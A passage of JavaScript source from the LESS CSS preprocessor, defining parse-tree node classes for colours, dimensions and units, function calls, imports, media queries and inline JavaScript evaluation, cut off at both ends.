'gainsboro':'#dcdcdc', 'ghostwhite':'#f8f8ff', 'gold':'#ffd700', 'goldenrod':'#daa520', 'gray':'#808080', 'grey':'#808080', 'green':'#008000', 'greenyellow':'#adff2f', 'honeydew':'#f0fff0', 'hotpink':'#ff69b4', 'indianred':'#cd5c5c', 'indigo':'#4b0082', 'ivory':'#fffff0', 'khaki':'#f0e68c', 'lavender':'#e6e6fa', 'lavenderblush':'#fff0f5', 'lawngreen':'#7cfc00', 'lemonchiffon':'#fffacd', 'lightblue':'#add8e6', 'lightcoral':'#f08080', 'lightcyan':'#e0ffff', 'lightgoldenrodyellow':'#fafad2', 'lightgray':'#d3d3d3', 'lightgrey':'#d3d3d3', 'lightgreen':'#90ee90', 'lightpink':'#ffb6c1', 'lightsalmon':'#ffa07a', 'lightseagreen':'#20b2aa', 'lightskyblue':'#87cefa', 'lightslategray':'#778899', 'lightslategrey':'#778899', 'lightsteelblue':'#b0c4de', 'lightyellow':'#ffffe0', 'lime':'#00ff00', 'limegreen':'#32cd32', 'linen':'#faf0e6', 'magenta':'#ff00ff', 'maroon':'#800000', 'mediumaquamarine':'#66cdaa', 'mediumblue':'#0000cd', 'mediumorchid':'#ba55d3', 'mediumpurple':'#9370d8', 'mediumseagreen':'#3cb371', 'mediumslateblue':'#7b68ee', 'mediumspringgreen':'#00fa9a', 'mediumturquoise':'#48d1cc', 'mediumvioletred':'#c71585', 'midnightblue':'#191970', 'mintcream':'#f5fffa', 'mistyrose':'#ffe4e1', 'moccasin':'#ffe4b5', 'navajowhite':'#ffdead', 'navy':'#000080', 'oldlace':'#fdf5e6', 'olive':'#808000', 'olivedrab':'#6b8e23', 'orange':'#ffa500', 'orangered':'#ff4500', 'orchid':'#da70d6', 'palegoldenrod':'#eee8aa', 'palegreen':'#98fb98', 'paleturquoise':'#afeeee', 'palevioletred':'#d87093', 'papayawhip':'#ffefd5', 'peachpuff':'#ffdab9', 'peru':'#cd853f', 'pink':'#ffc0cb', 'plum':'#dda0dd', 'powderblue':'#b0e0e6', 'purple':'#800080', 'red':'#ff0000', 'rosybrown':'#bc8f8f', 'royalblue':'#4169e1', 'saddlebrown':'#8b4513', 'salmon':'#fa8072', 'sandybrown':'#f4a460', 'seagreen':'#2e8b57', 'seashell':'#fff5ee', 'sienna':'#a0522d', 'silver':'#c0c0c0', 'skyblue':'#87ceeb', 'slateblue':'#6a5acd', 'slategray':'#708090', 'slategrey':'#708090', 'snow':'#fffafa', 'springgreen':'#00ff7f', 'steelblue':'#4682b4', 'tan':'#d2b48c', 'teal':'#008080', 'thistle':'#d8bfd8', 'tomato':'#ff6347', 'turquoise':'#40e0d0', 'violet':'#ee82ee', 'wheat':'#f5deb3', 'white':'#ffffff', 'whitesmoke':'#f5f5f5', 'yellow':'#ffff00', 'yellowgreen':'#9acd32' }; })(require('./tree')); (function (tree) { tree.debugInfo = function(env, ctx, lineSeperator) { var result=""; if (env.dumpLineNumbers && !env.compress) { switch(env.dumpLineNumbers) { case 'comments': result = tree.debugInfo.asComment(ctx); break; case 'mediaquery': result = tree.debugInfo.asMediaQuery(ctx); break; case 'all': result = tree.debugInfo.asComment(ctx) + (lineSeperator || "") + tree.debugInfo.asMediaQuery(ctx); break; } } return result; }; tree.debugInfo.asComment = function(ctx) { return '/* line ' + ctx.debugInfo.lineNumber + ', ' + ctx.debugInfo.fileName + ' */\n'; }; tree.debugInfo.asMediaQuery = function(ctx) { return '@media -sass-debug-info{filename{font-family:' + ('file://' + ctx.debugInfo.fileName).replace(/([.:\/\\])/g, function (a) { if (a == '\\') { a = '\/'; } return '\\' + a; }) + '}line{font-family:\\00003' + ctx.debugInfo.lineNumber + '}}\n'; }; tree.find = function (obj, fun) { for (var i = 0, r; i < obj.length; i++) { r = fun.call(obj, obj[i]); if (r) { return r; } } return null; }; tree.jsify = function (obj) { if (Array.isArray(obj.value) && (obj.value.length > 1)) { return '[' + obj.value.map(function (v) { return v.toCSS(false); }).join(', ') + ']'; } else { return obj.toCSS(false); } }; tree.toCSS = function (env) { var strs = []; this.genCSS(env, { add: function(chunk, fileInfo, index) { strs.push(chunk); }, isEmpty: function () { return strs.length === 0; } }); return strs.join(''); }; tree.outputRuleset = function (env, output, rules) { var ruleCnt = rules.length, i; env.tabLevel = (env.tabLevel | 0) + 1; // Compressed if (env.compress) { output.add('{'); for (i = 0; i < ruleCnt; i++) { rules[i].genCSS(env, output); } output.add('}'); env.tabLevel--; return; } // Non-compressed var tabSetStr = '\n' + Array(env.tabLevel).join(" "), tabRuleStr = tabSetStr + " "; if (!ruleCnt) { output.add(" {" + tabSetStr + '}'); } else { output.add(" {" + tabRuleStr); rules[0].genCSS(env, output); for (i = 1; i < ruleCnt; i++) { output.add(tabRuleStr); rules[i].genCSS(env, output); } output.add(tabSetStr + '}'); } env.tabLevel--; }; })(require('./tree')); (function (tree) { tree.Alpha = function (val) { this.value = val; }; tree.Alpha.prototype = { type: "Alpha", accept: function (visitor) { this.value = visitor.visit(this.value); }, eval: function (env) { if (this.value.eval) { return new tree.Alpha(this.value.eval(env)); } return this; }, genCSS: function (env, output) { output.add("alpha(opacity="); if (this.value.genCSS) { this.value.genCSS(env, output); } else { output.add(this.value); } output.add(")"); }, toCSS: tree.toCSS }; })(require('../tree')); (function (tree) { tree.Anonymous = function (string, index, currentFileInfo, mapLines) { this.value = string.value || string; this.index = index; this.mapLines = mapLines; this.currentFileInfo = currentFileInfo; }; tree.Anonymous.prototype = { type: "Anonymous", eval: function () { return new tree.Anonymous(this.value, this.index, this.currentFileInfo, this.mapLines); }, compare: function (x) { if (!x.toCSS) { return -1; } var left = this.toCSS(), right = x.toCSS(); if (left === right) { return 0; } return left < right ? -1 : 1; }, genCSS: function (env, output) { output.add(this.value, this.currentFileInfo, this.index, this.mapLines); }, toCSS: tree.toCSS }; })(require('../tree')); (function (tree) { tree.Assignment = function (key, val) { this.key = key; this.value = val; }; tree.Assignment.prototype = { type: "Assignment", accept: function (visitor) { this.value = visitor.visit(this.value); }, eval: function (env) { if (this.value.eval) { return new(tree.Assignment)(this.key, this.value.eval(env)); } return this; }, genCSS: function (env, output) { output.add(this.key + '='); if (this.value.genCSS) { this.value.genCSS(env, output); } else { output.add(this.value); } }, toCSS: tree.toCSS }; })(require('../tree')); (function (tree) { // // A function call node. // tree.Call = function (name, args, index, currentFileInfo) { this.name = name; this.args = args; this.index = index; this.currentFileInfo = currentFileInfo; }; tree.Call.prototype = { type: "Call", accept: function (visitor) { if (this.args) { this.args = visitor.visitArray(this.args); } }, // // When evaluating a function call, // we either find the function in `tree.functions` [1], // in which case we call it, passing the evaluated arguments, // if this returns null or we cannot find the function, we // simply print it out as it appeared originally [2]. // // The *functions.js* file contains the built-in functions. // // The reason why we evaluate the arguments, is in the case where // we try to pass a variable to a function, like: `saturate(@color)`. // The function should receive the value, not the variable. // eval: function (env) { var args = this.args.map(function (a) { return a.eval(env); }), nameLC = this.name.toLowerCase(), result, func; if (nameLC in tree.functions) { // 1. try { func = new tree.functionCall(env, this.currentFileInfo); result = func[nameLC].apply(func, args); if (result != null) { return result; } } catch (e) { throw { type: e.type || "Runtime", message: "error evaluating function `" + this.name + "`" + (e.message ? ': ' + e.message : ''), index: this.index, filename: this.currentFileInfo.filename }; } } return new tree.Call(this.name, args, this.index, this.currentFileInfo); }, genCSS: function (env, output) { output.add(this.name + "(", this.currentFileInfo, this.index); for(var i = 0; i < this.args.length; i++) { this.args[i].genCSS(env, output); if (i + 1 < this.args.length) { output.add(", "); } } output.add(")"); }, toCSS: tree.toCSS }; })(require('../tree')); (function (tree) { // // RGB Colors - #ff0014, #eee // tree.Color = function (rgb, a) { // // The end goal here, is to parse the arguments // into an integer triplet, such as `128, 255, 0` // // This facilitates operations and conversions. // if (Array.isArray(rgb)) { this.rgb = rgb; } else if (rgb.length == 6) { this.rgb = rgb.match(/.{2}/g).map(function (c) { return parseInt(c, 16); }); } else { this.rgb = rgb.split('').map(function (c) { return parseInt(c + c, 16); }); } this.alpha = typeof(a) === 'number' ? a : 1; }; var transparentKeyword = "transparent"; tree.Color.prototype = { type: "Color", eval: function () { return this; }, luma: function () { return (0.2126 * this.rgb[0] / 255) + (0.7152 * this.rgb[1] / 255) + (0.0722 * this.rgb[2] / 255); }, genCSS: function (env, output) { output.add(this.toCSS(env)); }, toCSS: function (env, doNotCompress) { var compress = env && env.compress && !doNotCompress, alpha = tree.fround(env, this.alpha); // If we have some transparency, the only way to represent it // is via `rgba`. Otherwise, we use the hex representation, // which has better compatibility with older browsers. // Values are capped between `0` and `255`, rounded and zero-padded. if (alpha < 1) { if (alpha === 0 && this.isTransparentKeyword) { return transparentKeyword; } return "rgba(" + this.rgb.map(function (c) { return clamp(Math.round(c), 255); }).concat(clamp(alpha, 1)) .join(',' + (compress ? '' : ' ')) + ")"; } else { var color = this.toRGB(); if (compress) { var splitcolor = color.split(''); // Convert color to short format if (splitcolor[1] === splitcolor[2] && splitcolor[3] === splitcolor[4] && splitcolor[5] === splitcolor[6]) { color = '#' + splitcolor[1] + splitcolor[3] + splitcolor[5]; } } return color; } }, // // Operations have to be done per-channel, if not, // channels will spill onto each other. Once we have // our result, in the form of an integer triplet, // we create a new Color node to hold the result. // operate: function (env, op, other) { var rgb = []; var alpha = this.alpha * (1 - other.alpha) + other.alpha; for (var c = 0; c < 3; c++) { rgb[c] = tree.operate(env, op, this.rgb[c], other.rgb[c]); } return new(tree.Color)(rgb, alpha); }, toRGB: function () { return toHex(this.rgb); }, toHSL: function () { var r = this.rgb[0] / 255, g = this.rgb[1] / 255, b = this.rgb[2] / 255, a = this.alpha; var max = Math.max(r, g, b), min = Math.min(r, g, b); var h, s, l = (max + min) / 2, d = max - min; if (max === min) { h = s = 0; } else { s = l > 0.5 ? d / (2 - max - min) : d / (max + min); switch (max) { case r: h = (g - b) / d + (g < b ? 6 : 0); break; case g: h = (b - r) / d + 2; break; case b: h = (r - g) / d + 4; break; } h /= 6; } return { h: h * 360, s: s, l: l, a: a }; }, //Adapted from http://mjijackson.com/2008/02/rgb-to-hsl-and-rgb-to-hsv-color-model-conversion-algorithms-in-javascript toHSV: function () { var r = this.rgb[0] / 255, g = this.rgb[1] / 255, b = this.rgb[2] / 255, a = this.alpha; var max = Math.max(r, g, b), min = Math.min(r, g, b); var h, s, v = max; var d = max - min; if (max === 0) { s = 0; } else { s = d / max; } if (max === min) { h = 0; } else { switch(max){ case r: h = (g - b) / d + (g < b ? 6 : 0); break; case g: h = (b - r) / d + 2; break; case b: h = (r - g) / d + 4; break; } h /= 6; } return { h: h * 360, s: s, v: v, a: a }; }, toARGB: function () { return toHex([this.alpha * 255].concat(this.rgb)); }, compare: function (x) { if (!x.rgb) { return -1; } return (x.rgb[0] === this.rgb[0] && x.rgb[1] === this.rgb[1] && x.rgb[2] === this.rgb[2] && x.alpha === this.alpha) ? 0 : -1; } }; tree.Color.fromKeyword = function(keyword) { keyword = keyword.toLowerCase(); if (tree.colors.hasOwnProperty(keyword)) { // detect named color return new(tree.Color)(tree.colors[keyword].slice(1)); } if (keyword === transparentKeyword) { var transparent = new(tree.Color)([0, 0, 0], 0); transparent.isTransparentKeyword = true; return transparent; } }; function toHex(v) { return '#' + v.map(function (c) { c = clamp(Math.round(c), 255); return (c < 16 ? '0' : '') + c.toString(16); }).join(''); } function clamp(v, max) { return Math.min(Math.max(v, 0), max); } })(require('../tree')); (function (tree) { tree.Comment = function (value, silent, index, currentFileInfo) { this.value = value; this.silent = !!silent; this.currentFileInfo = currentFileInfo; }; tree.Comment.prototype = { type: "Comment", genCSS: function (env, output) { if (this.debugInfo) { output.add(tree.debugInfo(env, this), this.currentFileInfo, this.index); } output.add(this.value.trim()); //TODO shouldn't need to trim, we shouldn't grab the \n }, toCSS: tree.toCSS, isSilent: function(env) { var isReference = (this.currentFileInfo && this.currentFileInfo.reference && !this.isReferenced), isCompressed = env.compress && !this.value.match(/^\/\*!/); return this.silent || isReference || isCompressed; }, eval: function () { return this; }, markReferenced: function () { this.isReferenced = true; } }; })(require('../tree')); (function (tree) { tree.Condition = function (op, l, r, i, negate) { this.op = op.trim(); this.lvalue = l; this.rvalue = r; this.index = i; this.negate = negate; }; tree.Condition.prototype = { type: "Condition", accept: function (visitor) { this.lvalue = visitor.visit(this.lvalue); this.rvalue = visitor.visit(this.rvalue); }, eval: function (env) { var a = this.lvalue.eval(env), b = this.rvalue.eval(env); var i = this.index, result; result = (function (op) { switch (op) { case 'and': return a && b; case 'or': return a || b; default: if (a.compare) { result = a.compare(b); } else if (b.compare) { result = b.compare(a); } else { throw { type: "Type", message: "Unable to perform comparison", index: i }; } switch (result) { case -1: return op === '<' || op === '=<' || op === '<='; case 0: return op === '=' || op === '>=' || op === '=<' || op === '<='; case 1: return op === '>' || op === '>='; } } })(this.op); return this.negate ? !result : result; } }; })(require('../tree')); (function (tree) { // // A number with a unit // tree.Dimension = function (value, unit) { this.value = parseFloat(value); this.unit = (unit && unit instanceof tree.Unit) ? unit : new(tree.Unit)(unit ? [unit] : undefined); }; tree.Dimension.prototype = { type: "Dimension", accept: function (visitor) { this.unit = visitor.visit(this.unit); }, eval: function (env) { return this; }, toColor: function () { return new(tree.Color)([this.value, this.value, this.value]); }, genCSS: function (env, output) { if ((env && env.strictUnits) && !this.unit.isSingular()) { throw new Error("Multiple units in dimension. Correct the units or use the unit function. Bad unit: "+this.unit.toString()); } var value = tree.fround(env, this.value), strValue = String(value); if (value !== 0 && value < 0.000001 && value > -0.000001) { // would be output 1e-6 etc. strValue = value.toFixed(20).replace(/0+$/, ""); } if (env && env.compress) { // Zero values doesn't need a unit if (value === 0 && this.unit.isLength()) { output.add(strValue); return; } // Float values doesn't need a leading zero if (value > 0 && value < 1) { strValue = (strValue).substr(1); } } output.add(strValue); this.unit.genCSS(env, output); }, toCSS: tree.toCSS, // In an operation between two Dimensions, // we default to the first Dimension's unit, // so `1px + 2` will yield `3px`. operate: function (env, op, other) { /*jshint noempty:false */ var value = tree.operate(env, op, this.value, other.value), unit = this.unit.clone(); if (op === '+' || op === '-') { if (unit.numerator.length === 0 && unit.denominator.length === 0) { unit.numerator = other.unit.numerator.slice(0); unit.denominator = other.unit.denominator.slice(0); } else if (other.unit.numerator.length === 0 && unit.denominator.length === 0) { // do nothing } else { other = other.convertTo(this.unit.usedUnits()); if(env.strictUnits && other.unit.toString() !== unit.toString()) { throw new Error("Incompatible units. Change the units or use the unit function. Bad units: '" + unit.toString() + "' and '" + other.unit.toString() + "'."); } value = tree.operate(env, op, this.value, other.value); } } else if (op === '*') { unit.numerator = unit.numerator.concat(other.unit.numerator).sort(); unit.denominator = unit.denominator.concat(other.unit.denominator).sort(); unit.cancel(); } else if (op === '/') { unit.numerator = unit.numerator.concat(other.unit.denominator).sort(); unit.denominator = unit.denominator.concat(other.unit.numerator).sort(); unit.cancel(); } return new(tree.Dimension)(value, unit); }, compare: function (other) { if (other instanceof tree.Dimension) { var a = this.unify(), b = other.unify(), aValue = a.value, bValue = b.value; if (bValue > aValue) { return -1; } else if (bValue < aValue) { return 1; } else { if (!b.unit.isEmpty() && a.unit.compare(b.unit) !== 0) { return -1; } return 0; } } else { return -1; } }, unify: function () { return this.convertTo({ length: 'm', duration: 's', angle: 'rad' }); }, convertTo: function (conversions) { var value = this.value, unit = this.unit.clone(), i, groupName, group, targetUnit, derivedConversions = {}, applyUnit; if (typeof conversions === 'string') { for(i in tree.UnitConversions) { if (tree.UnitConversions[i].hasOwnProperty(conversions)) { derivedConversions = {}; derivedConversions[i] = conversions; } } conversions = derivedConversions; } applyUnit = function (atomicUnit, denominator) { /*jshint loopfunc:true */ if (group.hasOwnProperty(atomicUnit)) { if (denominator) { value = value / (group[atomicUnit] / group[targetUnit]); } else { value = value * (group[atomicUnit] / group[targetUnit]); } return targetUnit; } return atomicUnit; }; for (groupName in conversions) { if (conversions.hasOwnProperty(groupName)) { targetUnit = conversions[groupName]; group = tree.UnitConversions[groupName]; unit.map(applyUnit); } } unit.cancel(); return new(tree.Dimension)(value, unit); } }; // http://www.w3.org/TR/css3-values/#absolute-lengths tree.UnitConversions = { length: { 'm': 1, 'cm': 0.01, 'mm': 0.001, 'in': 0.0254, 'pt': 0.0254 / 72, 'pc': 0.0254 / 72 * 12 }, duration: { 's': 1, 'ms': 0.001 }, angle: { 'rad': 1/(2*Math.PI), 'deg': 1/360, 'grad': 1/400, 'turn': 1 } }; tree.Unit = function (numerator, denominator, backupUnit) { this.numerator = numerator ? numerator.slice(0).sort() : []; this.denominator = denominator ? denominator.slice(0).sort() : []; this.backupUnit = backupUnit; }; tree.Unit.prototype = { type: "Unit", clone: function () { return new tree.Unit(this.numerator.slice(0), this.denominator.slice(0), this.backupUnit); }, genCSS: function (env, output) { if (this.numerator.length >= 1) { output.add(this.numerator[0]); } else if (this.denominator.length >= 1) { output.add(this.denominator[0]); } else if ((!env || !env.strictUnits) && this.backupUnit) { output.add(this.backupUnit); } }, toCSS: tree.toCSS, toString: function () { var i, returnStr = this.numerator.join("*"); for (i = 0; i < this.denominator.length; i++) { returnStr += "/" + this.denominator[i]; } return returnStr; }, compare: function (other) { return this.is(other.toString()) ? 0 : -1; }, is: function (unitString) { return this.toString() === unitString; }, isLength: function () { return Boolean(this.toCSS().match(/px|em|%|in|cm|mm|pc|pt|ex/)); }, isEmpty: function () { return this.numerator.length === 0 && this.denominator.length === 0; }, isSingular: function() { return this.numerator.length <= 1 && this.denominator.length === 0; }, map: function(callback) { var i; for (i = 0; i < this.numerator.length; i++) { this.numerator[i] = callback(this.numerator[i], false); } for (i = 0; i < this.denominator.length; i++) { this.denominator[i] = callback(this.denominator[i], true); } }, usedUnits: function() { var group, result = {}, mapUnit; mapUnit = function (atomicUnit) { /*jshint loopfunc:true */ if (group.hasOwnProperty(atomicUnit) && !result[groupName]) { result[groupName] = atomicUnit; } return atomicUnit; }; for (var groupName in tree.UnitConversions) { if (tree.UnitConversions.hasOwnProperty(groupName)) { group = tree.UnitConversions[groupName]; this.map(mapUnit); } } return result; }, cancel: function () { var counter = {}, atomicUnit, i, backup; for (i = 0; i < this.numerator.length; i++) { atomicUnit = this.numerator[i]; if (!backup) { backup = atomicUnit; } counter[atomicUnit] = (counter[atomicUnit] || 0) + 1; } for (i = 0; i < this.denominator.length; i++) { atomicUnit = this.denominator[i]; if (!backup) { backup = atomicUnit; } counter[atomicUnit] = (counter[atomicUnit] || 0) - 1; } this.numerator = []; this.denominator = []; for (atomicUnit in counter) { if (counter.hasOwnProperty(atomicUnit)) { var count = counter[atomicUnit]; if (count > 0) { for (i = 0; i < count; i++) { this.numerator.push(atomicUnit); } } else if (count < 0) { for (i = 0; i < -count; i++) { this.denominator.push(atomicUnit); } } } } if (this.numerator.length === 0 && this.denominator.length === 0 && backup) { this.backupUnit = backup; } this.numerator.sort(); this.denominator.sort(); } }; })(require('../tree')); (function (tree) { tree.Directive = function (name, value, index, currentFileInfo) { this.name = name; if (Array.isArray(value)) { this.rules = [new(tree.Ruleset)(null, value)]; this.rules[0].allowImports = true; } else { this.value = value; } this.index = index; this.currentFileInfo = currentFileInfo; }; tree.Directive.prototype = { type: "Directive", accept: function (visitor) { if (this.rules) { this.rules = visitor.visitArray(this.rules); } if (this.value) { this.value = visitor.visit(this.value); } }, genCSS: function (env, output) { output.add(this.name, this.currentFileInfo, this.index); if (this.rules) { tree.outputRuleset(env, output, this.rules); } else { output.add(' '); this.value.genCSS(env, output); output.add(';'); } }, toCSS: tree.toCSS, eval: function (env) { var evaldDirective = this; if (this.rules) { env.frames.unshift(this); evaldDirective = new(tree.Directive)(this.name, null, this.index, this.currentFileInfo); evaldDirective.rules = [this.rules[0].eval(env)]; evaldDirective.rules[0].root = true; env.frames.shift(); } return evaldDirective; }, variable: function (name) { return tree.Ruleset.prototype.variable.call(this.rules[0], name); }, find: function () { return tree.Ruleset.prototype.find.apply(this.rules[0], arguments); }, rulesets: function () { return tree.Ruleset.prototype.rulesets.apply(this.rules[0]); }, markReferenced: function () { var i, rules; this.isReferenced = true; if (this.rules) { rules = this.rules[0].rules; for (i = 0; i < rules.length; i++) { if (rules[i].markReferenced) { rules[i].markReferenced(); } } } } }; })(require('../tree')); (function (tree) { tree.Element = function (combinator, value, index, currentFileInfo) { this.combinator = combinator instanceof tree.Combinator ? combinator : new(tree.Combinator)(combinator); if (typeof(value) === 'string') { this.value = value.trim(); } else if (value) { this.value = value; } else { this.value = ""; } this.index = index; this.currentFileInfo = currentFileInfo; }; tree.Element.prototype = { type: "Element", accept: function (visitor) { var value = this.value; this.combinator = visitor.visit(this.combinator); if (typeof value === "object") { this.value = visitor.visit(value); } }, eval: function (env) { return new(tree.Element)(this.combinator, this.value.eval ? this.value.eval(env) : this.value, this.index, this.currentFileInfo); }, genCSS: function (env, output) { output.add(this.toCSS(env), this.currentFileInfo, this.index); }, toCSS: function (env) { var value = (this.value.toCSS ? this.value.toCSS(env) : this.value); if (value === '' && this.combinator.value.charAt(0) === '&') { return ''; } else { return this.combinator.toCSS(env || {}) + value; } } }; tree.Attribute = function (key, op, value) { this.key = key; this.op = op; this.value = value; }; tree.Attribute.prototype = { type: "Attribute", eval: function (env) { return new(tree.Attribute)(this.key.eval ? this.key.eval(env) : this.key, this.op, (this.value && this.value.eval) ? this.value.eval(env) : this.value); }, genCSS: function (env, output) { output.add(this.toCSS(env)); }, toCSS: function (env) { var value = this.key.toCSS ? this.key.toCSS(env) : this.key; if (this.op) { value += this.op; value += (this.value.toCSS ? this.value.toCSS(env) : this.value); } return '[' + value + ']'; } }; tree.Combinator = function (value) { if (value === ' ') { this.value = ' '; } else { this.value = value ? value.trim() : ""; } }; tree.Combinator.prototype = { type: "Combinator", _outputMap: { '' : '', ' ' : ' ', ':' : ' :', '+' : ' + ', '~' : ' ~ ', '>' : ' > ', '|' : '|', '^' : ' ^ ', '^^' : ' ^^ ' }, _outputMapCompressed: { '' : '', ' ' : ' ', ':' : ' :', '+' : '+', '~' : '~', '>' : '>', '|' : '|', '^' : '^', '^^' : '^^' }, genCSS: function (env, output) { output.add((env.compress ? this._outputMapCompressed : this._outputMap)[this.value]); }, toCSS: tree.toCSS }; })(require('../tree')); (function (tree) { tree.Expression = function (value) { this.value = value; }; tree.Expression.prototype = { type: "Expression", accept: function (visitor) { if (this.value) { this.value = visitor.visitArray(this.value); } }, eval: function (env) { var returnValue, inParenthesis = this.parens && !this.parensInOp, doubleParen = false; if (inParenthesis) { env.inParenthesis(); } if (this.value.length > 1) { returnValue = new(tree.Expression)(this.value.map(function (e) { return e.eval(env); })); } else if (this.value.length === 1) { if (this.value[0].parens && !this.value[0].parensInOp) { doubleParen = true; } returnValue = this.value[0].eval(env); } else { returnValue = this; } if (inParenthesis) { env.outOfParenthesis(); } if (this.parens && this.parensInOp && !(env.isMathOn()) && !doubleParen) { returnValue = new(tree.Paren)(returnValue); } return returnValue; }, genCSS: function (env, output) { for(var i = 0; i < this.value.length; i++) { this.value[i].genCSS(env, output); if (i + 1 < this.value.length) { output.add(" "); } } }, toCSS: tree.toCSS, throwAwayComments: function () { this.value = this.value.filter(function(v) { return !(v instanceof tree.Comment); }); } }; })(require('../tree')); (function (tree) { tree.Extend = function Extend(selector, option, index) { this.selector = selector; this.option = option; this.index = index; this.object_id = tree.Extend.next_id++; this.parent_ids = [this.object_id]; switch(option) { case "all": this.allowBefore = true; this.allowAfter = true; break; default: this.allowBefore = false; this.allowAfter = false; break; } }; tree.Extend.next_id = 0; tree.Extend.prototype = { type: "Extend", accept: function (visitor) { this.selector = visitor.visit(this.selector); }, eval: function (env) { return new(tree.Extend)(this.selector.eval(env), this.option, this.index); }, clone: function (env) { return new(tree.Extend)(this.selector, this.option, this.index); }, findSelfSelectors: function (selectors) { var selfElements = [], i, selectorElements; for(i = 0; i < selectors.length; i++) { selectorElements = selectors[i].elements; // duplicate the logic in genCSS function inside the selector node. // future TODO - move both logics into the selector joiner visitor if (i > 0 && selectorElements.length && selectorElements[0].combinator.value === "") { selectorElements[0].combinator.value = ' '; } selfElements = selfElements.concat(selectors[i].elements); } this.selfSelectors = [{ elements: selfElements }]; } }; })(require('../tree')); (function (tree) { // // CSS @import node // // The general strategy here is that we don't want to wait // for the parsing to be completed, before we start importing // the file. That's because in the context of a browser, // most of the time will be spent waiting for the server to respond. // // On creation, we push the import path to our import queue, though // `import,push`, we also pass it a callback, which it'll call once // the file has been fetched, and parsed. // tree.Import = function (path, features, options, index, currentFileInfo) { this.options = options; this.index = index; this.path = path; this.features = features; this.currentFileInfo = currentFileInfo; if (this.options.less !== undefined || this.options.inline) { this.css = !this.options.less || this.options.inline; } else { var pathValue = this.getPath(); if (pathValue && /css([\?;].*)?$/.test(pathValue)) { this.css = true; } } }; // // The actual import node doesn't return anything, when converted to CSS. // The reason is that it's used at the evaluation stage, so that the rules // it imports can be treated like any other rules. // // In `eval`, we make sure all Import nodes get evaluated, recursively, so // we end up with a flat structure, which can easily be imported in the parent // ruleset. // tree.Import.prototype = { type: "Import", accept: function (visitor) { if (this.features) { this.features = visitor.visit(this.features); } this.path = visitor.visit(this.path); if (!this.options.inline && this.root) { this.root = visitor.visit(this.root); } }, genCSS: function (env, output) { if (this.css) { output.add("@import ", this.currentFileInfo, this.index); this.path.genCSS(env, output); if (this.features) { output.add(" "); this.features.genCSS(env, output); } output.add(';'); } }, toCSS: tree.toCSS, getPath: function () { if (this.path instanceof tree.Quoted) { var path = this.path.value; return (this.css !== undefined || /(\.[a-z]*$)|([\?;].*)$/.test(path)) ? path : path + '.less'; } else if (this.path instanceof tree.URL) { return this.path.value.value; } return null; }, evalForImport: function (env) { return new(tree.Import)(this.path.eval(env), this.features, this.options, this.index, this.currentFileInfo); }, evalPath: function (env) { var path = this.path.eval(env); var rootpath = this.currentFileInfo && this.currentFileInfo.rootpath; if (!(path instanceof tree.URL)) { if (rootpath) { var pathValue = path.value; // Add the base path if the import is relative if (pathValue && env.isPathRelative(pathValue)) { path.value = rootpath +pathValue; } } path.value = env.normalizePath(path.value); } return path; }, eval: function (env) { var ruleset, features = this.features && this.features.eval(env); if (this.skip) { return []; } if (this.options.inline) { //todo needs to reference css file not import var contents = new(tree.Anonymous)(this.root, 0, {filename: this.importedFilename}, true); return this.features ? new(tree.Media)([contents], this.features.value) : [contents]; } else if (this.css) { var newImport = new(tree.Import)(this.evalPath(env), features, this.options, this.index); if (!newImport.css && this.error) { throw this.error; } return newImport; } else { ruleset = new(tree.Ruleset)(null, this.root.rules.slice(0)); ruleset.evalImports(env); return this.features ? new(tree.Media)(ruleset.rules, this.features.value) : ruleset.rules; } } }; })(require('../tree')); (function (tree) { tree.JavaScript = function (string, index, escaped) { this.escaped = escaped; this.expression = string; this.index = index; }; tree.JavaScript.prototype = { type: "JavaScript", eval: function (env) { var result, that = this, context = {}; var expression = this.expression.replace(/@\{([\w-]+)\}/g, function (_, name) { return tree.jsify(new(tree.Variable)('@' + name, that.index).eval(env)); }); try { expression = new(Function)('return (' + expression + ')'); } catch (e) { throw { message: "JavaScript evaluation error: " + e.message + " from `" + expression + "`" , index: this.index }; } var variables = env.frames[0].variables(); for (var k in variables) { if (variables.hasOwnProperty(k)) { /*jshint loopfunc:true */ context[k.slice(1)] = { value: variables[k].value, toJS: function () { return this.value.eval(env).toCSS(); } }; } } try { result = expression.call(context); } catch (e) { throw { message: "JavaScript evaluation error: '" + e.name + ': ' + e.message.replace(/["]/g, "'") + "'" , index: this.index }; } if (typeof(result) === 'number') { return new(tree.Dimension)(result); } else if (typeof(result) === 'string') { return new(tree.Quoted)('"' + result + '"', result, this.escaped, this.index); } else if (Array.isArray(result)) { return new(tree.Anonymous)(result.join(', ')); } else { return new(tree.Anonymous)(result); } } }; })(require('../tree')); (function (tree) { tree.Keyword = function (value) { this.value = value; }; tree.Keyword.prototype = { type: "Keyword", eval: function () { return this; }, genCSS: function (env, output) { output.add(this.value); }, toCSS: tree.toCSS, compare: function (other) { if (other instanceof tree.Keyword) { return other.value === this.value ? 0 : 1; } else { return -1; } } }; tree.True = new(tree.Keyword)('true'); tree.False = new(tree.Keyword)('false'); })(require('../tree')); (function (tree) { tree.Media = function (value, features, index, currentFileInfo) { this.index = index; this.currentFileInfo = currentFileInfo; var selectors = this.emptySelectors(); this.features = new(tree.Value)(features); this.rules = [new(tree.Ruleset)(selectors, value)]; this.rules[0].allowImports = true; }; tree.Media.prototype = { type: "Media", accept: function (visitor) { if (this.features) { this.features = visitor.visit(this.features); } if (this.rules) { this.rules = visitor.visitArray(this.rules); } }, genCSS: function (env, output) { output.add('@media ', this.currentFileInfo, this.index); this.features.genCSS(env, output); tree.outputRuleset(env, output, this.rules); }, toCSS: tree.toCSS, eval: function (env) { if (!env.mediaBlocks) { env.mediaBlocks = []; env.mediaPath = []; } var media = new(tree.Media)(null, [], this.index, this.currentFileInfo); if(this.debugInfo) { this.rules[0].debugInfo = this.debugInfo; media.debugInfo = this.debugInfo; } var strictMathBypass = false; if (!env.strictMath) { strictMathBypass = true; env.strictMath = true; } try { media.features = this.features.eval(env); } finally { if (strictMathBypass) { env.strictMath = false; } } env.mediaPath.push(media); env.mediaBlocks.push(media); env.frames.unshift(this.rules[0]); media.rules = [this.rules[0].eval(env)]; env.frames.shift(); env.mediaPath.pop(); return env.mediaPath.length === 0 ? media.evalTop(env) : media.evalNested(env); }, variable: function (name) { return tree.Ruleset.prototype.variable.call(this.rules[0], name); }, find: function () { return tree.Ruleset.prototype.find.apply(this.rules[0], arguments); }, rulesets: function () { return tree.Ruleset.prototype.rulesets.apply(this.rules[0]); }, emptySelectors: function() { var el = new(tree.Element)('', '&', this.index, this.currentFileInfo), sels = [new(tree.Selector)([el], null, null, this.index, this.currentFileInfo)]; sels[0].mediaEmpty = true; return 